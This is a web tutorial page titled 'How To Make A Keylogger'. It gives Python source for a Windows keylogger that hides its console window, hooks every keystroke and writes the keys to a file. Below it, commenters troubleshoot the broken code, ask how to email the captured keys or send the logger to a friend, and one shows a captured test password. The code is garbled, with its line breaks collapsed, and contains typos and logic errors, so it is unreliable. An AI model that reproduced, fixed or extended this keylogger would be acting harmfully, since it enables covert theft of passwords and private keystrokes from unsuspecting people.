How To Make A Keylogger
KEYLOGGER SOURCECODE AND
– Download Python: http://www.python.org/
– Download Pyhook: pyhook.sourceforge.net
– Download Python for Windows Extensions: http://sourceforge.net/projects/pywin32/
SOURCE:
import win32api import win32console import win32gui import pythoncom, pyHook win = win32console.GetConsoleWindow() win32gui.ShowWindow(win,0) def OnKeyboardEvent(event): if event.Ascii==5: _exit(1) if event.Ascii != 0 or 8: f=open('c:output.txt','r') buffer=f.read() f.close() f=open('c:output.txt','w') keylogs=chr(event.Ascii) if event.Ascii==13: keylogs='/n' buffer += keylogs f.write(buffer) f.close() hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent hm.HookKeyboard() pythoncom.PumpMessages()
George
April 20, 2011 at 9:29 am
I have a little problem with the programming steps…when i saved the file appear “NON-ASCII found, yet no endocing declared, add a line like # -*- coding: cp1252 -*- “…..what should i do? HELP ME PLEASE…i have windows vista…and i already had the programs installed what’s wrong?
j.wayne
June 8, 2011 at 10:58 pm
yea, im having the same issue as george with the “NON-ASCII found, yet no endocing declared, add a line like # -*- coding: cp1252 -*- “…..im running windowa 7 via bootcamp on a macbook pro
Giovanni
June 8, 2011 at 11:06 pm
Hi how can i do to email all the recorded keys with my own software? And does it can work if i send it to my friend?
mendax_hacker
June 15, 2011 at 10:48 pm
it doesnt work ! plz help !!!
Kea
July 2, 2011 at 10:03 am
Why do none of your tutorials work!
Alvaro
July 9, 2011 at 7:51 pm
I have a question, how do i close de logger, this because i cant find de output.txt file.
Thanks!
Roger
July 9, 2011 at 10:55 pm
Was this a hoax? I can’t even find Output.txt…
w4ffl3
October 16, 2016 at 2:13 pm
dude, why didnt you make the output.txt file with os.system(‘mkdir output.txt’) or something similar, YOU FORGOT TO MAKE THE OUTPUT.TXT FILE, dumbass
raghu
July 22, 2011 at 3:18 pm
i cant find the output.txt file… you tutorial sucks its not working…
Micheal
July 26, 2011 at 5:58 pm
Ok, so nothing shows up in the output.txt file after I do the steps through the logger and all of that stuff. Whats wrong?
Hack Master
August 6, 2011 at 4:02 pm
It worked! You need to save the file as .py3 for some reason. And the output.exe is located in C:\. Plus this only works on windows xp.
deathsph33r
October 4, 2011 at 8:04 pm
It didn’t work. I couldn’t get python 2.6 i could only get 2.7. I got it all in there and everything but there is no output.txt file
charles
October 27, 2011 at 2:51 am
i had the same problem, i’m not sure what to do
curious guy
November 8, 2011 at 12:52 am
Everybody complains about nothing.
These fantastic guys provided a FREE source code and all you do is complain.
I really dont know nothing about programing, but it was easy to me, when I didnt found the output.txt, to create it my self.
Try to do that and see that everything you type will be written on that file.
Lasy guys! Think a little. Have some respect for those who give all expecting nothing.
By the way, THABK you all that provide this code.
lUnAlOvEr
December 16, 2011 at 12:10 am
Yeah, you have to actually CREATE the output.txt, maybe if any of you had ANY common sense whatsoever, you’d have figured it out by now.
Aaron
December 17, 2011 at 8:47 pm
How do I make it to send files to my email or desktop?
yodaman
December 21, 2011 at 5:38 pm
2.6 is no longer there do you use 2.7
Cold Diamondz
August 22, 2013 at 12:14 pm
Yes!
R1A2
December 28, 2011 at 9:08 pm
I Got Python 2.6, But Still Can’t Get The output.txt File. Well, I Created It But It Does Not Hav Any Data.
theerandomeerz
December 31, 2011 at 11:06 am
Alright Please Reply 2 This, Ik there is alot of people complaining about the output.txt file, i created one but it still won’t send the data into the file..Please tell me how to fix.
– Thanks in Advance
Jeremy
January 13, 2012 at 12:35 am
Hey i did EXACTLY whAT you said, but there is no out.txt file, it may be because i have te python 2.7 but i’m not sure. please reply A.S.A.P, it be better to e-mail me.
Cold Diamondz
August 22, 2013 at 12:13 pm
Check the code, there are typos, fix them yourself
Chris
March 18, 2012 at 7:49 am
Didnt Work but Thanks for providing us the code 😉
Sarthax
June 2, 2012 at 5:36 am
I presume no knowledge of programming in the slightest, but I think I found out how to work it. I carefully followed the instructions, even the arduous task of downloading Python for Windows Extensions. When that didn’t work, I checked these comments and found that saving the file as logger.py3 didn’t work. For my certain case, inserting an output.txt alone didn’t work. What I ended up doing was taking a screenshot of the window that pops-up for a split second once you click on the logger.py file in and found that [again, I don’t know ANYTHING about programming] it said something along the line of finding an error on line 13 about an indent. So, I checked through the logger.py file and rearranged the indents in the logger.py to match the one in the video, because I copy-pasted the code like almost everyone else. Well, after I restarted the program and inserted the output.txt file, it worked. Although, I’m not sure if this was intended or not, but the program would interpret a single keystroke as about 20. So the test message “The password is swordfish” was transformed into “TTTTTTTTTTTTHHHHHHHHHHHHHHHHeeeeeeeeeeeeee pppppppppppppaaaaaaassssssswwwwwwooooooorrrrrrdddddddd iiiiiiiiiisssssssssssss sssssssswwwwwwwwooooooorrrrrrrddddddfffffffffffffiiiiiiissssssssssshhhhhhhhh”
RedPhoneBooth
June 8, 2012 at 4:08 am
Hey, I am also having the problem where the program cant find the file ‘output.txt’. I am running vista and I have tried creating the file in C:/ for it but it does not seem to work. Thanks in advance for the help!
procrafthd
November 28, 2012 at 6:58 pm
im having the same poblem an im usin vista as well
Cold Diamondz
August 22, 2013 at 2:14 am
It opens the file in reading mode then, use the writing mode, ‘w’
RedPhoneBooth
June 8, 2012 at 4:49 am
Okay I got it running but its giving my really crappy data, I can barley make out anything useful, is there anyway to fix this?
brandon1181
June 19, 2012 at 8:20 am
the tutorial works i find everything i need you guys are doing it wrong just re watch it make sure everything is set where its suppose to be ( btw i have used every tutorial he has )
Hey123
July 26, 2012 at 7:36 am
How do you make your own output.txt
I'm not telling you :P
August 15, 2012 at 12:13 pm
Can you please teach me how to create a key logger using java. If you have iTunes I’ll gift you something
GoGo
September 23, 2012 at 4:08 pm
f=open(‘c:output.txt’,’w’) – error… Why?
Cold Diamondz
August 21, 2013 at 3:46 pm
Look at the directory… C: DOES NOT EXIST do C:\ and then the file, it was just a typo, but try to look at the code to make sure that there is no typos.
charlie
November 26, 2012 at 6:48 pm
i cant find what file i need for pywin32 im using python 2.7 pls help
procrafthd
November 28, 2012 at 6:44 pm
When im testing it i try to run it no cmd pops up but i start typing and i press CTRL+E i go to my folder that ive set the output.txt to and nothing appears ive even tried putting output.txt in there please help.
Thank You In Advance
Z J
April 19, 2013 at 5:12 pm
hey, i need help.. first off, i have version python 2.7 but that shouldnt matter.. anyways.. when i try to save it to :c\ , it wont let me.. so i need to save it in the python27 folder.. there is the logger then, when i start it, the black thing pops up for a sec, then disappears, as it should.. but when i press control+E, it doesnt make the output.txt file there? i tried changing this part f=open(‘c:\output.txt’,’r’) to that too
f=open(‘c:\Python27\output.txtÂ’,’r’) but still nothing..help?
Cold Diamondz
August 21, 2013 at 3:47 pm
Use C:\
Cold Diamondz
August 22, 2013 at 2:22 am
Every can stop complaining, the problem you guys have are just easy-to-fix typos, use common sense people, check the source before using it, you might get a virus source run it, and destroy your computer, just read and try to understand it, if you don’t understand it, send it to a programmer that would and they’ll tell you what it does and how it does what it is doing, don’t just leave comment saying “This tutorial is stupid, don’t use this tutorial guys, it’s stupid!” Instead, work it out.